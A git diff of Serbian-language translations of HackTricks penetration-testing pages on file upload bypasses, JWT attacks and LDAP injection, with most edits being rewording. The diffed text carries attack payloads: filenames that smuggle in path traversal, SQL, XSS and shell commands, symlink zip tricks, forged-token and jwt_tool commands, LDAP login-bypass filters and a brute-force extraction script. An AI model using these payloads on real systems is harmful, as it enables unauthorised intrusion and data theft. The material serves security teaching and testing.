||||||
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite **HTTP server preusmeri na drugu datoteku**, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u**.
|
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u**.
|
||||||
|
|
||||||
## Alati
|
## Alati
|
||||||
|
|
||||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za učitavanje datoteka. Koristi razne tehnike nagrađivanja grešaka kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
|
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za upload datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
|
||||||
|
|
||||||
## Od učitavanja datoteka do drugih ranjivosti
|
## Od upload-a datoteka do drugih ranjivosti
|
||||||
|
|
||||||
* Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelazaka**
|
* Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelazaka**
|
||||||
* Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
|
* Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
|
||||||
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
||||||
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||||
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
* [**XSS** u upload-u slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
* **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
* **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
* [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
* [**XXE u upload-u svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
* [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Otvoreno preusmeravanje** putem upload-a svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
* [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
|
* Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije od svakog posetioca**.
|
||||||
* [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
|
* [**XXE i CORS** zaobilaženje sa PDF-Adobe upload-om](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
* Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili JS izvršenje**](../xss-cross-site-scripting/pdf-injection.md). Ako možete upload-ovati PDF-ove mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
|
||||||
* Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
* Upload-ujte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
|
||||||
* Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
|
* Proverite da li postoji neki **ograničenje veličine** prilikom upload-a datoteka
|
||||||
|
|
||||||
Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Evo top 10 liste stvari koje možete postići upload-ovanjem (sa [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||||
2. **SVG**: Stored XSS / SSRF / XXE
|
2. **SVG**: Stored XSS / SSRF / XXE
|
||||||
|
@ -225,11 +225,11 @@ Pogledajte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en
|
||||||
|
|
||||||
### Zip/Tar datoteka automatski dekompresovana upload
|
### Zip/Tar datoteka automatski dekompresovana upload
|
||||||
|
|
||||||
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
Ako možete upload-ovati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
|
||||||
|
|
||||||
#### Symlink
|
#### Symlink
|
||||||
|
|
||||||
Učitajte link koji sadrži mekane linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
Upload-ujte link koji sadrži softverske linkove ka drugim datotekama, zatim, pristupajući dekompresovanim datotekama, pristupićete povezanim datotekama:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
|
@ -314,7 +314,7 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
|
||||||
|
|
||||||
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe izvodljive.
|
||||||
|
|
||||||
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik koji predstavljaju potencijalno štetni formati (npr. JS, PHP ili Phar datoteke). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može tiho zaobići ova ograničenja.
|
||||||
|
|
||||||
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
Uprkos svojoj prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
|
||||||
|
|
||||||
|
@ -329,7 +329,7 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakera karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@ Možete samo manipulisati podacima ostavljajući potpis nepromenjenim i proverit
|
||||||
Da biste proverili da li se potpis JWT-a verifikuje:
|
Da biste proverili da li se potpis JWT-a verifikuje:
|
||||||
|
|
||||||
* Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.
|
* Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati.
|
||||||
* Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
|
* Promena u vraćenoj stranici takođe ukazuje na verifikaciju.
|
||||||
* Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.
|
* Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa manipulacijom tvrdnjama u payload-u.
|
||||||
|
|
||||||
### Izvor
|
### Izvor
|
||||||
|
@ -92,18 +92,18 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114).
|
Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114).
|
||||||
|
|
||||||
Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\
|
Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\
|
||||||
(Pošaljite zahtev u Repeater, unutar taba JSON Web Token izaberite "CVE-2018-0114" i pošaljite zahtev).
|
(Pošaljite zahtev u Repeater, unutar JSON Web Token taba izaberite "CVE-2018-0114" i pošaljite zahtev).
|
||||||
|
|
||||||
### JWKS Spoofing
|
### JWKS Spoofing
|
||||||
|
|
||||||
Uputstva detaljno opisuju metodu za procenu sigurnosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da vodi do JWKS (JSON Web Key Set) datoteke koja sadrži javni ključ neophodan za verifikaciju tokena.
|
Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" zaglavlje. Ovo zaglavlje bi trebalo da se povezuje sa JWKS (JSON Web Key Set) datotekom koja sadrži javni ključ neophodan za verifikaciju tokena.
|
||||||
|
|
||||||
* **Procena Tokena sa "jku" Zaglavljem**:
|
* **Procena Tokena sa "jku" Zaglavljem**:
|
||||||
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
* Proverite URL "jku" tvrdnje da biste osigurali da vodi do odgovarajuće JWKS datoteke.
|
||||||
* Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
|
* Izmenite "jku" vrednost tokena da biste usmerili ka kontrolisanoj veb usluzi, omogućavajući posmatranje saobraćaja.
|
||||||
* **Praćenje HTTP Interakcije**:
|
* **Praćenje HTTP Interakcije**:
|
||||||
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
|
* Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka.
|
||||||
* Kada koristite `jwt_tool` za ovaj proces, ključno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
* Kada koristite `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` datoteku sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje.
|
||||||
* **Komanda za `jwt_tool`**:
|
* **Komanda za `jwt_tool`**:
|
||||||
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
||||||
|
|
||||||
|
@ -121,7 +121,7 @@ Kada je `kid` tvrdnja prisutna u zaglavlju, preporučuje se pretraživanje veb d
|
||||||
|
|
||||||
#### Putanja Prelaz sa "kid"
|
#### Putanja Prelaz sa "kid"
|
||||||
|
|
||||||
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući odabir proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti kako bi se ciljali specifične datoteke ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
`kid` tvrdnja se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljne datoteke. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti kako bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` oznake u jwt\_tool, kao što je prikazano u nastavku:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
|
X.509 URL. URI koji ukazuje na skup X.509 (standardni format sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata.
|
||||||
|
|
||||||
Pokušajte da **promenite ovaj zaglavlje u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.
|
Pokušajte da **promenite ovaj header u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**.
|
||||||
|
|
||||||
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve:
|
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve:
|
||||||
```bash
|
```bash
|
||||||
|
@ -188,7 +188,7 @@ Ovaj parametar može sadržati **sertifikat u base64**:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1119).png>)
|
![](<../.gitbook/assets/image (1119).png>)
|
||||||
|
|
||||||
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi lažni token u suštini bio prihvaćen od strane servera.
|
Ako napadač **generiše sertifikat sa sopstvenim potpisom** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje druge parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera.
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
|
@ -242,9 +242,9 @@ Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999).
|
||||||
|
|
||||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||||
|
|
||||||
### Druge napade
|
### Drugi napadi
|
||||||
|
|
||||||
**Napadi međuslužbene relacije**
|
**Napadi preusmeravanja između usluga**
|
||||||
|
|
||||||
Primećeno je da se neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
Primećeno je da se neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen.
|
||||||
|
|
||||||
|
@ -260,7 +260,7 @@ Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to d
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
|
|
@ -3,23 +3,23 @@
|
||||||
## LDAP Injection
|
## LDAP Injection
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poznavanje poljskog jezika u pisanju i govoru je obavezno_).
|
Ako ste zainteresovani za **hakera karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -59,7 +59,7 @@ Na primer:\
|
||||||
|
|
||||||
Možete pristupiti bazi podataka, a ona može sadržati informacije različitih tipova.
|
Možete pristupiti bazi podataka, a ona može sadržati informacije različitih tipova.
|
||||||
|
|
||||||
**OpenLDAP**: Ako stignu 2 filtera, izvršava samo prvi.\
|
**OpenLDAP**: Ako stignu 2 filtera, izvršava se samo prvi.\
|
||||||
**ADAM ili Microsoft LDS**: Sa 2 filtera bacaju grešku.\
|
**ADAM ili Microsoft LDS**: Sa 2 filtera bacaju grešku.\
|
||||||
**SunOne Directory Server 5.0**: Izvršava oba filtera.
|
**SunOne Directory Server 5.0**: Izvršava oba filtera.
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ Primer: `(&(directory=val1)(folder=public))`
|
||||||
|
|
||||||
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
|
Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji se izvršava).
|
||||||
|
|
||||||
### Login Bypass
|
### Bypass Prijave
|
||||||
|
|
||||||
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hashovana.
|
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, može se desiti da bez obzira na to šta unesete u lozinku, ona bude hashovana.
|
||||||
```bash
|
```bash
|
||||||
|
@ -167,7 +167,7 @@ Možete iterirati preko ascii slova, cifara i simbola:
|
||||||
|
|
||||||
#### **Otkrivanje validnih LDAP polja**
|
#### **Otkrivanje validnih LDAP polja**
|
||||||
|
|
||||||
LDAP objekti **po defaultu sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
LDAP objekti **sadrže po defaultu nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati da **brute-force-ujete sve njih kako biste izvukli te informacije.** Možete pronaći listu [**default LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
import requests
|
import requests
|
||||||
|
@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
@ -239,7 +239,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
